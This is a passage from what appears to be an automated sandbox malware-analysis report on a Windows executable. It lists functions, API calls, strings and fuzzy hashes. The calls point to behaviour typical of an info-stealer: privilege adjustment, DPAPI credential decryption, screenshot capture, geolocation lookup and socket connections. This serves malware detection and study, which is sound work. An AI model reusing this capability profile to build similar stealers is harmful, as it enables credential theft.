Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 9219a76bbf5b0a68fd8075754a2c2160bfaa822f6e476498c8a23ea95eed312f
Instruction ID: 0597954f1010cda99a9dc00cad829c0d1b0a0a2b5553c56b3276a0d06e48baaa
Opcode Fuzzy Hash: 9219a76bbf5b0a68fd8075754a2c2160bfaa822f6e476498c8a23ea95eed312f
Instruction Fuzzy Hash: 1DC1AF36B28A4686EB10CFA9C4902AC3771EB49BE8B115325DE2FA77D4EF39D151C740

Function 00007FF6F1DF30B8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6F1DF30E6

Part of subcall function 00007FF6F1DF2548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1DF255C

_get_daylight.LIBCMT ref: 00007FF6F1DF30F7

Part of subcall function 00007FF6F1DF24E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1DF24FC

_get_daylight.LIBCMT ref: 00007FF6F1DF3108

Part of subcall function 00007FF6F1DF2518: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1DF252C

Part of subcall function 00007FF6F1DED3C8: RtlFreeHeap.NTDLL ref: 00007FF6F1DED3DE
Part of subcall function 00007FF6F1DED3C8: GetLastError.KERNEL32 ref: 00007FF6F1DED3E8

GetTimeZoneInformation.KERNEL32(00007FF6F1DF33F8), ref: 00007FF6F1DF312F

Strings

Eastern Summer Time, xrefs: 00007FF6F1DF31ED
Eastern Standard Time, xrefs: 00007FF6F1DF31D5

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: a0b2f147c5ed72e73a9ba99eccd64d774068bd057930b9dd808764ab5dc4e304
Instruction ID: 9154ba6d4fd7a7d64cbee1457428b8660315cabf37d18c97523636c778afa406
Opcode Fuzzy Hash: a0b2f147c5ed72e73a9ba99eccd64d774068bd057930b9dd808764ab5dc4e304
Instruction Fuzzy Hash: 68518232A1864296E710DF21E8815B967B0FB887D4F455239EA7EC7AD6EF3CE540C740

Function 00007FF6F1DE918C Relevance: 9.2, APIs: 6, Instructions: 227COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1DE91AE
_get_daylight.LIBCMT ref: 00007FF6F1DE920E
_get_daylight.LIBCMT ref: 00007FF6F1DE921F
_get_daylight.LIBCMT ref: 00007FF6F1DE9230
_isindst.LIBCMT ref: 00007FF6F1DE9281
_isindst.LIBCMT ref: 00007FF6F1DE92D4

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _get_daylight$_isindst$_invalid_parameter_noinfo
String ID:
API String ID: 1405656091-0
Opcode ID: cd6fea744430340711cd49b3e9bdbfdb1b852b0eb5a7692198664b91c055b650
Instruction ID: 1335aae3ea4d5e483952e9bb618ac06ff74ef36f970269920d24e63921077a22
Opcode Fuzzy Hash: cd6fea744430340711cd49b3e9bdbfdb1b852b0eb5a7692198664b91c055b650
Instruction Fuzzy Hash: 6281B1B2B052468BEB588F25C9513B863A5EB54BCDF449239DA1D8A7C9FF3CE6408740

Function 00007FF6F1DD6860 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 268COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD6C4B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD6C51
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD6C57
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD6C5D

Strings

cores, xrefs: 00007FF6F1DD6ABE

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: cores
API String ID: 3668304517-2370456839
Opcode ID: c015235d733b43bac9d39de2a43355ad681f02ecaa006eea8bb7fde0cf9742d1
Instruction ID: fd5dc4b6c396c587e9a2642b2afab29905cac6e43883959eb6f6a10a6857536f
Opcode Fuzzy Hash: c015235d733b43bac9d39de2a43355ad681f02ecaa006eea8bb7fde0cf9742d1
Instruction Fuzzy Hash: 42C1E863E18B8186F710CF78D4403AD7771E7997A8F105325EAAC56ADAEF38D285C780

Function 00007FF6F1DDB9B0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6F1DDB9FE
OpenProcessToken.ADVAPI32 ref: 00007FF6F1DDBA11
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6F1DDBA32
AdjustTokenPrivileges.KERNELBASE ref: 00007FF6F1DDBA78
CloseHandle.KERNEL32 ref: 00007FF6F1DDBA98

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentHandleLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3038321057-0
Opcode ID: d2de06470b4ed8e39d37734a47601b9eff7cf65b32299141bc4bcc42cf026e17
Instruction ID: be566dfc68513ac6f9546e3631e5756a39c902f4e4369e56e2be8e1474699f3f
Opcode Fuzzy Hash: d2de06470b4ed8e39d37734a47601b9eff7cf65b32299141bc4bcc42cf026e17
Instruction Fuzzy Hash: 78219132618B8182E720CF21F45436BB3A0FB88BD4F954135EA9E83B98EF7CD5448B40

Function 00007FF6F1D7F730 Relevance: 4.8, APIs: 3, Instructions: 344COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdfc264763085100c9ceea0cb093e74c21f953b0fe1630ff8726f33abd6df56a
Instruction ID: 4c92e2b8623e3848341f7d18453f8425a9ffcce44023c6f04417536847ab8c81
Opcode Fuzzy Hash: bdfc264763085100c9ceea0cb093e74c21f953b0fe1630ff8726f33abd6df56a
Instruction Fuzzy Hash: EBF14072A19F858AEB208B69E44136D77B1F788798F104325EEEC57B99EF3CD1908740

Function 00007FF6F1D80450 Relevance: 4.8, APIs: 3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e17b33f593c81b7dab2fb749b276856ab219a4204adf8816c7f338b85f00c752
Instruction ID: 2d1fc46aad242e8ee5cd1c51287396e31cd693c29ddbc875715b62c8be076641
Opcode Fuzzy Hash: e17b33f593c81b7dab2fb749b276856ab219a4204adf8816c7f338b85f00c752
Instruction Fuzzy Hash: 03F14172A19F848AEB208B69E44135D77B4F7887A8F105325EEEC57B99EF3CD1908740

Function 00007FF6F1D7FE20 Relevance: 4.8, APIs: 3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 751eaf67bd44956e070fd6352f983768d72bd2241e55e699cc680544b85578a0
Instruction ID: a7bdbb5c2b1ecf820a86a6f1b5fb79bb9c266aef4bbf2930148ab8b660e7239d
Opcode Fuzzy Hash: 751eaf67bd44956e070fd6352f983768d72bd2241e55e699cc680544b85578a0
Instruction Fuzzy Hash: 1DF15272A19F888AE7208B69E44135D77B4F7887A8F105325EEEC57B99EF7CD1808740

Function 00007FF6F1DD76A0 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 217timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32 ref: 00007FF6F1DD79D0

Strings

[UTC, xrefs: 00007FF6F1DD79A3

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: InformationTimeZone
String ID: [UTC
API String ID: 565725191-1715286942
Opcode ID: 227df7f9fc515862566a01e59866b53c9bfa63972a69ca4c12e822ae5807cade
Instruction ID: f8326df1964449daab08267083cc4f516f2cc7cead23355735806309912f90e8
Opcode Fuzzy Hash: 227df7f9fc515862566a01e59866b53c9bfa63972a69ca4c12e822ae5807cade
Instruction Fuzzy Hash: C5B14C32A18FC889D7318F29E84129AB7A1F79D788F105325EADC57B59EF78D250CB40

Function 00007FF6F1DD73F0 Relevance: 3.1, APIs: 2, Instructions: 137COMMON

Download Yara Rule

APIs

GetLogicalDriveStringsW.KERNEL32 ref: 00007FF6F1DD7461

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: DriveLogicalStrings
String ID:
API String ID: 2022863570-0
Opcode ID: 382e336121ae80466f962879a2229f0e9dc64838799d8113c369efc1594dfaf3
Instruction ID: dfbc5f6c8572dc6b5ad000aa814047402f3445aa2705e7723a6e0fab811c6827
Opcode Fuzzy Hash: 382e336121ae80466f962879a2229f0e9dc64838799d8113c369efc1594dfaf3
Instruction Fuzzy Hash: 20516232A18B8182E7108F24E4803AD7775FB85798F505325EAAC53AE9EF7CE591DB40

Function 00007FF6F1DC7BA0 Relevance: 3.1, APIs: 2, Instructions: 86encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32 ref: 00007FF6F1DC7BF8
LocalFree.KERNEL32 ref: 00007FF6F1DC7C8A

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: CryptDataFreeLocalUnprotect
String ID:
API String ID: 1561624719-0
Opcode ID: 3f0d2640eba4d0f7871c2ec703edcb503dbe0d7ea7d03094cd3af9045bbe76bf
Instruction ID: c5ca34f0600800bc183c00330f570de723f4bd5495b54e59d78226e3d1467034
Opcode Fuzzy Hash: 3f0d2640eba4d0f7871c2ec703edcb503dbe0d7ea7d03094cd3af9045bbe76bf
Instruction Fuzzy Hash: CE414732A18B81CAE3208F74D4503ED37A4FB5878CF444639EA8D56E8AEF79D5A4C744

Function 00007FF6F1D81B90 Relevance: 1.8, APIs: 1, Instructions: 283COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D81FD2

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 8c2ee609906b87691af69831a7a769d4e2737882f8e3536b1fee27c1dc0d25fe
Instruction ID: bc6f8f6e55127b7f9bd42cc967a65a83fc2a9d0f8e75a29d4029e177155b705f
Opcode Fuzzy Hash: 8c2ee609906b87691af69831a7a769d4e2737882f8e3536b1fee27c1dc0d25fe
Instruction Fuzzy Hash: 92D15B62F08B818AF711CB74D4403EC37B6EB5579CF415325EA6C66ADAEF38A194C384

Function 00007FF6F1DCEBF0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 194
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6F1DCE970: InitializeCriticalSectionEx.KERNEL32 ref: 00007FF6F1DCE9C1
Part of subcall function 00007FF6F1DCE970: GetLastError.KERNEL32 ref: 00007FF6F1DCE9CB

EnterCriticalSection.KERNEL32 ref: 00007FF6F1DCEC31
GdiplusStartup.GDIPLUS ref: 00007FF6F1DCEC58
LeaveCriticalSection.KERNEL32 ref: 00007FF6F1DCEC66
LeaveCriticalSection.KERNEL32 ref: 00007FF6F1DCEC94
GdipGetImageEncodersSize.GDIPLUS ref: 00007FF6F1DCECA2
GdipGetImageEncoders.GDIPLUS ref: 00007FF6F1DCED36
GdipCreateBitmapFromScan0.GDIPLUS ref: 00007FF6F1DCEE00
GdipSaveImageToStream.GDIPLUS ref: 00007FF6F1DCEE1E
GdipDisposeImage.GDIPLUS ref: 00007FF6F1DCEE83
GdipDisposeImage.GDIPLUS ref: 00007FF6F1DCEE97

Strings

&, xrefs: 00007FF6F1DCEDFA

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: Gdip$Image$CriticalSection$DisposeEncodersLeave$BitmapCreateEnterErrorFromGdiplusInitializeLastSaveScan0SizeStartupStream
String ID: &
API String ID: 1703174404-3042966939
Opcode ID: dd964381881d80bb3d13f7f21f812b9ad7ab8c9b9795b3d442a88d8ae0dd4017
Instruction ID: a30893c1c06d8fc89840c879f76505eaa642e628ead12605aeb54bece3585d37
Opcode Fuzzy Hash: dd964381881d80bb3d13f7f21f812b9ad7ab8c9b9795b3d442a88d8ae0dd4017
Instruction Fuzzy Hash: 9C918172A04B828AE720CF25E8005E83BB4FB55BD8B544A35EA2D97BD4EF3CE545D740

Function 00007FF6F1DCFCA0 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 226
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6F1DD58D0: GetUserGeoID.KERNEL32 ref: 00007FF6F1DD58F7
Part of subcall function 00007FF6F1DD58D0: GetGeoInfoA.KERNEL32 ref: 00007FF6F1DD5911
Part of subcall function 00007FF6F1DD58D0: GetGeoInfoA.KERNEL32 ref: 00007FF6F1DD5961

Part of subcall function 00007FF6F1D91900: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D919D4

WSAStartup.WS2_32 ref: 00007FF6F1DCFDBE
socket.WS2_32 ref: 00007FF6F1DCFDDB
htons.WS2_32 ref: 00007FF6F1DCFE00
inet_pton.WS2_32 ref: 00007FF6F1DCFE42
connect.WS2_32 ref: 00007FF6F1DCFE5C
closesocket.WS2_32 ref: 00007FF6F1DCFE7B
WSACleanup.WS2_32 ref: 00007FF6F1DCFE81
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD0025
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD002B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD0031

Strings

geo, xrefs: 00007FF6F1DCFD6B
system, xrefs: 00007FF6F1DCFD2A

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Info$CleanupStartupUserclosesocketconnecthtonsinet_ptonsocket
String ID: geo$system
API String ID: 2440148987-2364779556
Opcode ID: aaeb017864ce7edbbbebaae91aaee4570c05fc7f64b7e84cdb624bad49156934
Instruction ID: 034f914f607dd6251f86b9f95b099a0a4e167fa2b63f03fc4b3e1bc0458df6cc
Opcode Fuzzy Hash: aaeb017864ce7edbbbebaae91aaee4570c05fc7f64b7e84cdb624bad49156934
Instruction Fuzzy Hash: A1B18C62F18A4289EB009B64D4502FC3372AF857E8F415636DA3D976E9EF3CD549C340

Function 00007FF6F1DD4A30 Relevance: 19.9, APIs: 13, Instructions: 417
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

recv.WS2_32 ref: 00007FF6F1DD4C0C
recv.WS2_32 ref: 00007FF6F1DD50EC
closesocket.WS2_32 ref: 00007FF6F1DD50FE
WSACleanup.WS2_32 ref: 00007FF6F1DD5104
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD51FC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD5202
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD5208
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD520E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD5214
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD521A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD5226
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD522C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD5232

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$recv$Cleanupclosesocket
String ID:
API String ID: 3402187201-0
Opcode ID: 9592191d399957f557f2f11f818494e06d75156a097ad469fff69b209d5fb949
Instruction ID: 3f3feedbc4f93bba8a7d5c0c0de0175bdf5045a5daf43a67530335498c4e90de
Opcode Fuzzy Hash: 9592191d399957f557f2f11f818494e06d75156a097ad469fff69b209d5fb949
Instruction Fuzzy Hash: 51126172A1CAC581EB209B15E4543EA6772EBD97D0F504331EABD86AD9EF7CD580CB00

Function 00007FF6F1DD7A84 Relevance: 16.9, APIs: 11, Instructions: 356COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD7FE0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD7FE6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD7FEC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD7FF2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD7FF8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD7FFE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD8004
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD800A
